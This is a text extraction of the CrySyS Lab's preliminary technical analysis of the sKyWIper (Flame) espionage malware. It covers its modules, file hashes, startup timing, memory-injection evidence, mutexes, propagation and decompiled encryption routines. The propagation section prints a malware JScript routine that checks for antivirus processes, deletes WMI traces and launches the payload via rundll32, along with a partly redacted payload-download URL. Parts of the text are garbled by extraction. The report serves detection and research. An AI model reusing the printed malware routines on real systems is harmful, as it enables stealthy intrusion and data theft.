Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  7 5409  Tue Oct 11 23:35:34 2011 5409  Tue Oct 11 23:35:37 2011 5409  Tue Oct 11 23:35:37 2011 5409  Tue Oct 11 23:35:37 2011  ec02  Tue Oct 11 23:59:59 2011 ec02  Tue Oct 11 23:59:59 2011 ec02  Tue Oct 11 23:59:59 2011 ec02  Tue Oct 11 23:59:59 2011 ec02  Wed Oct 12 00:00:03 2011  ec02  Wed Oct 12 10:52:33 2011 ec02  Wed Oct 12 10:52:33 2011 ec02  Wed Oct 12 10:53:04 2011 ec02  Wed Oct 12 11:09:32 2011 ec02  Wed Oct 12 11:09:32 2011 ec02  Wed Oct 12 11:21:17 2011 ec02  Wed Oct 12 11:21:17 2011 ec02  Wed Oct 12 11:21:17 2011 ec02  Wed Oct 12 11:21:17 2011 ec02  Wed Oct 12 11:22:04 2011 ec02  Wed Oct 12 11:22:04 2011 Figure 1  Timestamps found in audcache.dat 1.4.
Comparison to Duqu (Stuxnet) at a glance As our team played a significant role in the discovery and analysis of Duqu, another recently discovered info-stealer malware used in targeted attacks, we briefly compare sKyWIper to Duqu (and Stuxnet) in Table 1.
Note that this is a high-level, simplified comparison.
As it can be seen from the comparison, sKyWIper and Duqu (Stuxnet) have many differences, and it seems plausible that sKyWIper was not made by the same developer team as that of Duqu/Stuxnet/D.
However, we cannot exclude the possibility that the attackers hired multiple independent development teams for the same purpose, and sKyWIper and Duqu are two independent implementations developed for the same requirement specifications.
This may be an approach to increase the robustness of an operation, which can persist even if one of the two (or more?)
implementations is uncovered.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  8 Feature Duqu, Stuxnet, D sKyWIper Modular malware Kernel driver based rootkit   fltmgr usage Valid digital signature on driver Realtek, JMicron, C-media Not found Injection based on A/V list  Different Imports based on checksum  Not seen 3 Config files, all encrypted, etc.
Totally diferrent Keylogger module  (Duqu) PLC functionality  (Stuxnet) Not found (yet) Infection through local shares  (Stuxnet)  Very likely Exploits   Some from Stuxnet 0-day exploits  Not yet found DLL injection to system processes   (but different) DLL with modules as resources RPC communication  ?
RPC control in LAN  ?
RPC Based CC  ?
Port 80/443, TLS based CC   SSLSSH found Special magic keys, e.g.
790522, AE  Only 0xAE is similar Virtual file based access to modules  Not seen Usage of LZO lib Mod.
LZO No LZO: Zlib, PPMd, bzip2 Visual C payload UPX compressed payload,  some Careful error handling  ?
Deactivation timer  Self-kill logic inside Initial Delay ?
Some Different from Duqu Configurable starting in safe mode/dbg  Not like Stuxnet Table 1  Comparing sKyWIper to Duqu and Stuxnet at a first glance Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  9 2.
Main components 2.1.
Modules We present an overview of the modules encountered during the analysis of sKyWIper.
Figure 2 shows some files related to the malware, grouped by type, with some labels indicating our current knowledge about how some of these files are created and encoded (encrypted or compressed).
Figure 2  Files related to the malware Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  10 The malware contains the following modules: Related OCX files: mssecmgr.ocx (6 M)  Main module -- resource 146 (2.5 M)  Compressed file with some zlib-like compression advnetcfg.ocx (0.6 M)  Injected part, possibly info stealer (screen shots and alike) msglu32.ocx (1.6 M)  Created by main module nteps32.ocx (0.8 M)  Created by main module soapr32.ocx (0.2 M)  Can be found in resource 146, possibly network based propagation module The main module of the malware is mssegmgr.ocx, which is 6 MByte long.
It is loaded at startup, and later copied to wavesup3.drv.
The main module also creates other OCX modules as shown in the above list.
Related files in the Windows/Temp folder: To691.tmp (1.5 M)  Initial settings data file Related files in the Windows/System32 folder: ccalc32.sys  Configuration settings table, fully encrypted.
It is generated by the malware installer process, and stored in uncompressed Resource 146 of mssecmgr.sys at position 0x00001E7118.
It is encrypted by RC4 (128).
boot32drv.sys (1 K) Desktop window related data, encrypted by XOR with 0xFF Temporary files created by the malware: DEB93D.tmp Encrypted file containing SQLite database of nmb lookups.
Written by services.exe.
HLV084.tmp  Compressed parts contain info on running processes.
Written by winlogon.exe.
HLV294.tmp Purpose unknown.
This and 4-5 similar files often appear on infected systems.
KWI   Compressed parts contain info on running processes.
Written by winlogon.exe.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  11 rfnumber.tmp  Contains full file listing of the infected computer in SQLite 3 database format.
Encrypted with algorithm E1 (see encryption algorithms later).
Related DAT files: dstrlog.dat  CLAN DB for storing attack and propagation methods.
lmcache.dat Information on target computer.
mscrypt.dat Code, data, and configuration on attacks, e.g.
JIMMY, MUNCH.
ntcache.dat Information on target computer.
rccache.dat ssitable DAT files created from dllrun32 startup (with file size and time of creation): audcache  Possibly pre-created attack database (1572896 May XX 10:32) audfilter.dat (0 May XX 10:32) dstrlog.dat CLAN DB of attacks (86016 May XX 10:32) lmcache.dat Information on target computer (SFS) (460800 May XX 10:32) ntcache.dat  Information on target computer (SFS) (4454400 May XX 10:32) wpgfilter.dat (6163261 May XX 10:32) 2.2.
File listing and hashes Here, we provide the hashes for the main components of sKyWIper.
Later in Section 7.3, we provide a full list of suspected filenames used by the malware (whitelisted).
bb5441af1e1741fca600e9c433cb1550 advnetcfg.ocx d53b39fb50841ff163f6e9cfd8b52c2e msglu32.ocx bdc9e04388bda8527b398a8c34667e18 mssecmgr.ocx c9e00c9d94d1a790d5923b050b0bd741 nteps32.ocx 296e04abb00ea5f18ba021c34e486746 soapr32.ocx 5ad73d2e4e33bb84155ee4b35fbefc2b ccalc32.sys dcf8dab7e0fc7a3eaf6368e05b3505c5 mscrypt.dat 06a84ad28bbc9365eb9e08c697555154 00004069.ex_ ec992e35e794947a17804451f2a8857e 00004784.dl_ 296e04abb00ea5f18ba021c34e486746 00005729.dl_ b604c68cd46f8839979da49bb2818c36 00006411.dl_ Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  12 c81d037b723adc43e3ee17b1eee9d6cc boot32drv.sys (not constant but possible match) Figure 3  MD5 hashes of the malwares components 60d5dbddae21ecb4cfb601a2586dae776ca973ef advnetcfg.ocx 3a9ac7cd49e10a922abce365f88a6f894f7f1e9e msglu32.ocx a592d49ff32fe130591ecfde006ffa4fb34140d5 mssecmgr.ocx 7105b17d07fd5b30d5386862a3b9cc1ff53a2398 nteps32.ocx 5fdd7f613db43a5b0dbec8583d30ea7064983106 soapr32.ocx faaef4933e5f738e2abaff3089d36801dd871e89 ccalc32.sys 8b591dd7cd44d8abae7024ca2cc26034457dd50e mscrypt.dat 25fc20eedd7bfca26cf5fad1fade13b05c9a2d20 00004069.ex_ e608a6d9f0ab379e62119656e30eef12542f2263 00004784.dl_ 5fdd7f613db43a5b0dbec8583d30ea7064983106 00005729.dl_ 7a1351c084a556bdceaf221a43cb69579ca7b9bb 00006411.dl_ d4b21620d68fdc44caa20362a417b251ff833761 boot32drv.sys Figure 4  SHA-1 hashes of the malwares components Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  13 3.
Activation and propagation 3.1.
Startup sequence The malware can be started using two different methods: 1.
Set msgsecmgr.ocx in the registry (see below at registry parts) 2.
Run the malware from rundll32 using the command as follows: start /wait rundll32.exe c:\windows\system32\mssecmgr.ocx,DDEnumCallback At startup, mssecmgr.ocx is loaded as LSA Authentication Package.
About 2 minutes later advnetcfg.ocx is loaded by services.exe.
It is repeated every 2 to 3 minutes 3 times in total.
About 2 minutes later services.exe loads nteps32.ocx from mssecmgr.ocx, and then winlogon.exe also loads nteps32.ocx.
This file is loaded several times.
In the meantime, explorer.exe starts 5 iexplore processes that subsequently create wpgfilter.dat.
Again 2 minutes later ccalc32.sys is written by services.exe, and in 1 minute winlogon.exe loads it.
Next, mssecmgr.ocx is copied to wavsup3.drv.
Then, boot32drv.sys is loaded by services.exe.
This sequence of events is illustrated in Figure 5 below, while Figure 6 shows another representation with exact timestamps.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  14 Figure 5  Startup sequence Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  15 Nteps32 loading 23:36:37 services winlogon 2.
ccalc32 written 23:38:37 load 23:39:37 w r System (cache) w Advnetcfg 23:36:17 23:38:32 23:39:17 r rundll32 mssecmgr loading 23:34:35 r explorer iexplore loading 23:36:21 3240 (parent 1644) 23:36:41 3520 (parent 1644) 23:37:00.08 3632 (parent 1644) 23:37:19 3752 23:37:40 3876 23:37:59 3968 wpgfilter loading 23:37:02 Boot32cfg w:23:38:35 w Figure 6  Startup procedure with timestamps 3.2.
Bootup experiments to gather timing information We performed some experiment to determine the order of module loadings and activities.
Trial 1 ccalc32.sys has a last change and last access time at the first start - difference 50 seconds.
In normal LSA startup without mscrypt installed, ccalc was not created (no real CC traffic either).
Question: Is ccalc32 created by mssecmgradvnet?
?
during startup if ran from rundll?
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  16 Trial 2 Nteps, soapr, to691 are removed to test if these files are needed for the malware to start.
Windows update traffic starts after 1:40 min of starting rundll for startup.
At iexplore exit ccalc32.sys immediately appeared.
HLV files appear about 1:20 min after the appearance of ccalc32.sys.
The exact timestamp was 23:45:00 (local time), the sharp seconds value (:00) seems suspicious.
Results: nteps, soapr, to691 are not needed for startup Trial 4 Starting with Rundll32 at 23:49:20 23:51:06 windowsupdate traffic begins 23:52:48 iexplore quits, about 3 seconds later ccalc appears 23:54:25 HVL files found in windows/temp msglu32.ocx exists, creation time is 2004, change time is current local time Trial 5 Removing nteps, soapr, to691, msglu to be sure that msglu is indeed created during startup.
Results: Malware is still running, msglu32 is created just at the same time as HLV files begin to be created.
Order of events: 1.
iexplore  windowsupdate traffic 2.
traffic stops, ccalc32 created, some 1:20 min delay 3.
HLV files begin to appear and msglu is deployed Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  17 3.3.
Injections There are multiple injections of code during startup.
Only advnetcfg32 is probably injected 3 times.
We have no detailed information why code is injected into multiple processes (including winlogon.exe, services.exe, explorer.exe).
0 fltmgr.sys fltmgr.sys  0x1888 0xf83f0888 C:\WINDOWS\System32\Drivers\fltmgr.sys 1 fltmgr.sys fltmgr.sys  0x31a7 0xf83f21a7 C:\WINDOWS\System32\Drivers\fltmgr.sys 2 fltmgr.sys fltmgr.sys  0xfc7a 0xf83fec7a C:\WINDOWS\System32\Drivers\fltmgr.sys 3 ntkrnlpa.exe ntkrnlpa.exe  0xac124 0x80583124 C:\WINDOWS\system32\ntkrnlpa.exe 4 ntkrnlpa.exe ntkrnlpa.exe  0xe8488 0x805bf488 C:\WINDOWS\system32\ntkrnlpa.exe 5 ntkrnlpa.exe ntkrnlpa.exe  0xe4a14 0x805bba14 C:\WINDOWS\system32\ntkrnlpa.exe 6 ntkrnlpa.exe ntkrnlpa.exe  0x9ffeb 0x80576feb C:\WINDOWS\system32\ntkrnlpa.exe 7 ntkrnlpa.exe ntkrnlpa.exe  0x6a67c 0x8054167c C:\WINDOWS\system32\ntkrnlpa.exe 8 unknown 0x1f2a333 0x1f2a333 9 unknown 0x1f1ed9c 0x1f1ed9c 10 unknown 0x1f1128b 0x1f1128b 11 unknown 0x1f1c900 0x1f1c900 Figure 7  Winlogon.exe with injected code working with ccalc32.sys  procmon In case of Duqu, the authors used ZwCreateSection() and ZwMapViewOfSection() to copy code into running processes, while other methods use LoadLibrary() and LoadLibraryEx() to load a library into a code.
These techniques can easily be detected as the inserted DLLs appear in the PEBs InLoadOrderModuleList.
In case of sKyWIper, the code injection mechanism is stealthier such that the presence of the code injection cannot be determined by conventional methods such as listing the modules of the corresponding system processes (winlogon, services, explorer).
The only trace we found at the first sight is that certain memory regions are mapped with the suspicious READ, WRITE and EXECUTE protection flags, and they can only be grasped via the Virtual Address Descriptor (VAD) kernel data structure.
As these regions must have been allocated dynamically by means of VirtualAllocEx() or WriteProcessMemory(), they have the type of Vad Short.
Thus, the combination of RWE flags and type VadS for a given memory region in a system process allowed us to identify the code injection.
Figure 8 shows the malicious code injections we found with Volatility.
Process: winlogon.exe Pid: 676 Address: 0xab0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00ab0000  10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc   ....J.o.....Qr.
0x00ab0000  1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00   ...V............ 0x00ab0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 0x00ab0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  18 Process: winlogon.exe Pid: 676 Address: 0xac0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00ac0000  10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc   ....J.o.....Qr.
0x00ac0000  1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00   ...V............ 0x00ac0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 0x00ac0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
Process: winlogon.exe Pid: 676 Address: 0xb10000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00b10000  10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc   ....J.o.....Qr.
0x00b10000  1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00   ...V............ 0x00b10000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 0x00b10000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
Process: winlogon.exe Pid: 676 Address: 0xb20000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00b20000  10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc   ....J.o.....Qr.
0x00b20000  1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00   ...V............ 0x00b20000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 0x00b20000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
Process: winlogon.exe Pid: 676 Address: 0x10f0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x010f0000  10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc   ....J.o.....Qr.
0x010f0000  1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00   ...V............ 0x010f0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 0x010f0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
Process: winlogon.exe Pid: 676 Address: 0x1220000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01220000  10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc   ....J.o.....Qr.
0x01220000  1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00   ...V............ 0x01220000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 0x01220000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
Process: winlogon.exe Pid: 676 Address: 0x1490000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01490000  ba ba 0d f0 00 00 48 01 30 25 80 7c b7 24 80 7c   ......H.0... 0x01490000  b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc   ...U..QSVW3... 0x01490000  e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48   .....X.E..E.jdYH 0x01490000  49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70   I.E.t[.8....u..p Process: winlogon.exe Pid: 676 Address: 0x3c8a0000 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  19 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 4, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x3c8a0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 0x3c8a0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 0x3c8a0000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 0x3c8a0000  00 00 00 00 27 00 27 00 01 00 00 00 00 00 00 00   ..............
Process: services.exe Pid: 720 Address: 0x950000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00950000  ba ba 0d f0 00 00 94 00 30 25 80 7c b7 24 80 7c   ........0... 0x00950000  b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc   ...U..QSVW3... 0x00950000  e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48   .....X.E..E.jdYH 0x00950000  49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70   I.E.t[.8....u..p Process: explorer.exe Pid: 1616 Address: 0x1400000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01400000  ba ba 0d f0 00 00 e8 00 30 25 80 7c b7 24 80 7c   ........0... 0x01400000  b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc   ...U..QSVW3... 0x01400000  e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48   .....X.E..E.jdYH 0x01400000  49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70   I.E.t[.8....u..p Process: explorer.exe Pid: 1616 Address: 0x1b50000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01b50000  67 32 cd ba 2e 00 4d 00 53 00 42 00 54 00 53 00   g2....M.S.B.T.S.
0x01b50000  00 00 43 02 50 03 f8 01 4b 6c 43 02 04 00 01 00   ..C.P...KlC..... 0x01b50000  03 00 00 00 90 fa fc 00 2c fb fc 00 00 00 da 00   ........,....... 0x01b50000  00 e9 90 7c 40 00 91 7c ff ff ff ff 3d 00 91 7c   ...........
Process: explorer.exe Pid: 1616 Address: 0x4540000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x04540000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 0x04540000  00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00   ..T............. 0x04540000  10 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00   ..T............. 0x04540000  20 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00   ..T.............
Figure 8  The presence of code injection and hooks (Volatility) By examining the injected regions in more details, we found that the inserted code belongs to shell32.dll.
This can be verified by means of vmmap as shown in Figure 9.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  20 Figure 9  The presence of code injection (vmmap) 3.4.
Hooks By checking an infected machine with the GMER rootkit revealer, we can see that the infected explorer.exe hooked the SHGetSpecialFolderPathW() library call in the shell32.dll module (that is supposedly the result of a code injection).
Figure 10  Hooking shell32 dlls SHGetSpecialFolderPathW function in explorer.exe Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  21 3.5.
Mutexes Similarly to other malicious codes, sKyWIper uses mutexes to make sure that only one instance is running from it.
Mutexes are created either for injected system processes (winlogon.exe, services.exe, explorer.exe) and proprietary files.
In the former case, the following naming convention is used: TH_POOL_SHD_PQOISNG_PIDSYNCMTX, where the PID variable refers to the PID of the system process the mutex belongs to.
Furthermore, there are other mutexes that belongs to files created by the malcode.
These are the following.
c__program_files_common_files_microsoft shared_msaudio_wpgfilter.dat c__program files_common files_microsoft shared_msaudio_audcache To reveal all the mutexes one can traverse Windows _KMUTANT data structure, however, it is difficult to grasp the malicious ones.
3.6.
nteps32 exports Figure 11  nteps32 [loaded many times] exported functions  lot of functionality Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  22 It would be useful to describe here the exact meaning of the abbreviated functionality (SHR, ABH, BHD, DLV, SMLData, VBinfo, OFR, PF, PGHDict) of this interesting library, however, currently we do not have enough information on it.
CreatePGHDict might be associated with some Bluetooth related activities.
EnableSHR might be connected to DEB93D creation which contains samba nmb name resolution traffic log.
3.7.
Installation and propagation method There are multiple ways for the malware to propagate.
One method we are aware of is related to windows update and file downloading by some modules using SSL and some proprietary text based protocol.
We also have clear indications that Stuxnets print spooler exploit (MS10-061) and lnk exploit (MS10-046) is used within sKyWIper as well: var objFileSystem  new ActiveXObject(Scripting.
FileSystemObject)var s GetObject(winmgmts:root\\cimv2)var oProcs  s.ExecQuery(SELECT  FROM Win32_Process WHERE nameoutpost.exe or nameaupdrun.exe or nameop_mon.exe or nameavp.exe)s.
Delete(__EventFilter.
NameFilterForClassCreation)s.
Delete( ActiveScriptEventConsumer.
NameActiveScriptForSvc)s.
Delete(MyTestClass)s.
Del ete(__Win32Provider.
NameActiveScriptEventConsumer)var f objFileSystem.
GetFile(wbem\\mof\\good\\svchostevt.mof)f.
Delete(true) f objFileSystem.
GetFile(testpage)f.
Delete(true)if (oProcs.
Count)  s1  new ActiveXObject(Wscript.
Shell)s1.Run(SYSTEMROOT\\system32\\rundll32.exe msdclr64.ocx,DDEnumCallback)while (true)   var oProcs  s.ExecQuery(SELECT FROM Win32_Process WHERE namerundll32.exe) if (oProcs.
Count) break  var f objFileSystem.
GetFile(msdclr64.ocx)f.
Delete(true) else   var f objFileSystem.
GetFile(msdclr64.ocx) f.Delete(true) where msdclr64.ocx  refers to the main module Figure 12  Printer problem related routines in the malware URL: http://windowscomputername/view.php?mp1jz1627XXXXXXfd1463XXXXXX am55XXXXXXX55Xef962DXXX7EC84XXXXEC84pr1ec0ov66664XXXXX6641XXXXX64174plgs pndXXXXXXspnZXXXnyXXX0nXXXTWvXXXXnGcXXX some 30-50 tags more XXX are deliberately deleted Figure 13  URL used to download mssecmgr.sys by some installation part Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  23 Figure 13 shows the URL used to download the main module by some routine in the installation part of the malware.
The routine downloads the file mssecmgr.ocx and some header: B5 A0 44 3F 67 EA EA EA E5 B2 EA EA.
Trying to decrypt the header with algorithm E1 (see encryption algorithms later in this report) and considering 0xEA  0x00, the result is : 0000000000: 20 E1 D7 50 0A 00 00 00  C8 0F 00 00 P Further information shows that this is related to the windows update mechanism and the MUNCH attack (see later).
Numbers are partially removed or overwritten with X for privacy.
(
http://windowscomputername/view.php?ac1jz16X71X...,) CreateSection(windir\softwaredistribution\selfupdate\default\wuauinfo.ocx) CreateSection(windir\softwaredistribution\selfupdate\default\wuauinfo.ocx) Another sample (numbers are removed or modified) is the following: connect(10.55.55.55,80,6) UrlDetect(http://download.windowsupdate.com/v9/windowsupdate/redir/muv4wuredir.cab ?
1number removed,) The user agent during this communications is set to Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 .NET CLR 1.1.2150).
This cannot be found by a google search hence, it is possibly used by the malware for identification purposes.
For the same reason, it can possibly be used as a NIDS signature.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  24 4.
Description of components Now we present our initial analysis of the files used in sKyWIper.
Note that given the lack of resources and time, our findings are preliminary.
The main goal is to highlight the structure of the malware modules and the techniques used by the authors (e.g., for encryption) and to pave the way for a thorough investigation.
4.1.
Encryption algorithms At the time of this writing, we identified five encryption algorithms used in the malware, we refer to them as E1-E5.
E1 is used in DAT files.
For E1, we managed to produce a full substitution table as presented in Figure 14 below.
We could identify the encryption algorithms E2-E5 shown in subsequent figures, but we do not have a full understanding of where they are used in sKyWIper and if they are related to known encryption methods.
0 234 1 130 2 99 3 174 4 163 5 140 6 102 7 73 8 243 9 1 10 103 11 6 12 18 13 199 14 182 15 178 16 7 17 239 18 28 19 193 20 117 21 253 22 23 23 62 24 224 25 254 26 61 27 202 28 30 29 221 30 26 31 149 32 181 33 192 34 183 35 248 36 157 37 31 38 226 39 47 40 145 41 67 42 111 43 191 44 175 45 159 46 250 47 166 48 205 49 95 50 81 51 96 52 101 53 143 54 255 55 249 56 187 57 153 58 77 59 89 60 241 61 105 62 116 63 208 64 46 65 240 66 108 67 42 68 196 69 179 70 127 71 176 72 36 73 128 74 113 75 10 76 48 77 150 78 118 79 106 80 63 81 122 82 137 83 33 84 151 85 207 86 55 87 242 88 223 89 52 90 190 91 59 92 20 93 11 94 238 95 16 96 4 97 17 98 78 99 70 100 134 101 12 102 87 103 71 104 162 105 230 106 225 107 79 108 169 109 206 110 198 111 218 112 125 113 43 114 83 115 216 116 40 117 75 118 123 119 37 120 222 121 236 122 29 123 156 124 164 125 139 126 110 127 85 128 142 129 57 130 93 131 74 132 56 133 168 134 53 135 246 136 19 137 27 138 251 139 50 140 131 141 120 142 90 143 97 144 154 145 136 146 80 147 35 148 184 149 64 150 252 151 39 152 247 153 66 154 104 155 203 156 84 157 86 158 9 159 186 160 49 161 138 162 212 163 24 164 213 165 91 166 228 167 172 168 2 169 185 170 129 171 170 172 44 173 58 174 0 175 167 176 209 177 195 178 161 179 112 180 244 181 155 182 119 183 197 184 201 185 158 186 121 187 109 188 15 189 200 190 173 191 76 192 60 193 92 194 65 195 133 196 88 197 219 198 141 199 98 200 229 201 144 202 215 203 14 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  25 204 204 205 3 206 171 207 147 208 21 209 72 210 232 211 8 212 41 213 188 214 124 215 68 216 146 217 126 218 210 219 165 220 235 221 180 222 217 223 54 224 38 225 160 226 34 227 100 228 227 229 231 230 177 231 51 232 194 233 115 234 135 235 25 236 69 237 211 238 5 239 245 240 45 241 114 242 94 243 148 244 233 245 237 246 152 247 220 248 214 249 22 250 189 251 32 252 107 253 132 254 82 255 13 Figure 14  Encryption E1  Substitution table.
Left is cleartext, right is ciphertext.
Used for DAT files.
4091.dll: unsigned int __cdecl encryptor_sub_4025C0(int a1)  return (a1  11)  (a1  17)  (((unsigned __int16)((a1  11)  (a1  17)  0xFF00) ((((unsigned int)((a1  11)  (a1  17))  8)  (a1  11)  (a1  17) 0xFF0000)  8))  8)  Figure 15   Encryption E2   found in 4091.dll loaded as 12Windows Management Instrumentation Configurator service soapr32.dll: keygensub_1000C0A2eax(int a1eax)  return (a1  11)  (a1  17)  ((unsigned int)((a1  11)  (a1  17))  8)  (((a1 11)  (a1  17)  ((unsigned int)((a1  11)  (a1  17))  8))  16)  used as stream cipher with sub function: .text:1000C0C6                 mov     eax, [esp8arg_0] .text:1000C0CA                 lea     esi, [edieax] .text:1000C0CD                 mov     eax, edi .text:1000C0CF                 call    keygensub_1000C0A2 eax-key one d .text:1000C0D4                 sub     [esi], al  sub the calculated key .text:1000C0D6                 inc     edi .text:1000C0D7                 cmp     edi, [esp8arg_4] .text:1000C0DB                 jb      short loc_1000C0C6 Figure 16  Encryption E2B  found in soapr32.dll unsigned int cipher(unsigned int a1)  return (a1  5)  (a1  26) ((unsigned int)((a1  5)  (a1  26))  8) (((a1  5)  (a1  26)  ((unsigned int)((a1  5)  (a1  26))  8))  16) .text:1000E895 sub_1000E895    proc near                CODE XREF: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  26 .text:1000E895                 lea     ecx, [eax1Ah] .text:1000E898                 add     eax, 5 .text:1000E89B                 imul    ecx, eax .text:1000E89E                 mov     edx, ecx .text:1000E8A0                 shr     edx, 8 .text:1000E8A3                 mov     eax, edx .text:1000E8A5                 xor     eax, ecx .text:1000E8A7                 shr     eax, 10h .text:1000E8AA                 xor     eax, edx .text:1000E8AC                 xor     eax, ecx .text:1000E8AE                 retn .text:1000E8AE sub_1000E895    endp called as stream cipher in the following way (encryption): .text:1000E8BB loc_1000E8BB:                            CODE XREF: .text:1000E8CE j .text:1000E8BB                 mov     eax, [ebp8] .text:1000E8BE                 lea     esi, [edieax] .text:1000E8C1                 mov     eax, edi .text:1000E8C3                 call    keygen_sub_1000E895 .text:1000E8C8                 add     [esi], al .text:1000E8CA                 inc     edi .text:1000E8CB                 cmp     edi, [ebp0Ch] .text:1000E8CE                 jb      short loc_1000E8BB .text:1000E8D0                 pop     esi .text:1000E8D1 decryption part difference: .text:1000E8ED                 sub     [esi], al (advnetcfg: sub_1000BD68  nteps: sub_1000E895) Figure 17 Encryption E3  found in advnetcfg and nteps32 6411/sub_10003463 v2  result if ( a2 )  v3  11 - result do  result  dword_100420B8  (v3  v2)  (v3  v2  12) (_BYTE )v2 - result  ((unsigned __int16)((_WORD)dword_100420B8  (v3 (_WORD)v2)  (v3  (_WORD)v2  12))  8)  ((unsigned int)(dword_100420B8  (v3 v2)  (v3  v2  12))  16)  ((unsigned int)(dword_100420B8  (v3  v2)  (v3 v2  12))  24) v2 --a2  Figure 18 Encryption E4  not clear where it is used Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  27 int __usercall sub_1000D9DCeax(int resulteax, int a2edx)  int v2 // esi1 int v3 // edi2 